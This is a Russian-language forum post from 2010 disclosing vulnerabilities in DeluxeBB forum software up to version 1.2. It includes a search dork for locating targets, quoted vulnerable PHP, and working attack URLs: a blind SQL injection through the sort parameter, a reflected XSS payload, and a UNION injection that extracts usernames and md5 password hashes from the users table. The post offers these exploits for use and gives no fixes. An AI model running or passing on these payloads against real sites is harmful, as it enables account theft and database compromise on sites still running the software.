Prev Предыдущее сообщение   Следующее сообщение Next
Старый 04.07.2010, 14:20   #1
Grey
 
Аватар для Grey
 
Регистрация: 30.06.2010
Сообщений: 38
По умолчанию Уязвимости DeluxeBB

DeluxeBB <= 1.2 (BLIND SQL INJ)

Офф сайт: http://www.deluxebb.com
Дорк: "is copyrighted to the DeluxeBB"
Алгоритм хеширования паролей: md5()

Уязвим файл forums.php. Уязвимый кусок кода:

Код:
$threads = $db->query("SELECT t.*,u.username FROM ".$prefix."threads t LEFT JOIN ".$prefix."users u ON (t.author=u.uid) WHERE (t.fid='$fid' && t.lastpostdate>='$posttime') ORDER BY t.pinned $sort,t.lastpostdate $sort LIMIT $pageinfo[0], $pageinfo[1]");
Переменная $sort не фильтруется. А значит можно менять порядок сортировки с помощью подзапросов:

Код:
http://site/forum/forums.php?fid=2&sort=,t.views*if((select+1)=1,1,-1)/*
Смотрим названия тем которые стоят на первом месте.
А теперь делаем так:

Код:
http://site/forum/forums.php?fid=2&sort=,t.views*if((select+1)=2,1,-1)/*
В результате темы меняют порядок следования.
На этом мы и построим проверку правильности выполнения подзапроса. Всё что нам понадобится это что бы на форуме были две (или более) темы с разным количеством просмотров, но и то и то сделать в любом случае будет не проблема.

DeluxeBB <= 1.2 (Пассивная XSS)

Код:
http://site/forum/misc.php?sub=memberlist&searchuser="><script>alert(123);</script>

DeluxeBB <= 1.2 (SQL инъекция)


Кстати аналогичная скуля была в версии 1.06, но в новых версиях она, конечно же, давно исправлена.
Уязвим файл misc.php. Уязвимый кусок кода:

Код:
if($order == "name") { $qorder = "ORDER BY username"; }
if($order == "regdate") { $qorder = "ORDER BY joineddate"; }
if($order == "posts") { $qorder = "ORDER BY posts"; }
if($order == "lastpost") { $qorder = "ORDER BY lastpost"; }

...

$getsel = $db->query("SELECT * FROM ".$prefix."users ".$qfilter." ".$qorder." ".$sort." LIMIT ".$pageinfo[0].",".$pageinfo[1]);
До этого участка кода переменная $qorder нигде не определяется, что даёт нам возможность замутить sql инъекцию:

Код:
http://site.ru/forum/misc.php?sub=memberlist&filter=ad&searchuser=1&custom=1&qorder=and+1=2+union+select+1,concat(username,char(58),pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+deluxebb_users/*
2008 © Grey

Последний раз редактировалось Grey; 04.07.2010 в 14:34..
Grey вне форума   Ответить с цитированием
 

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot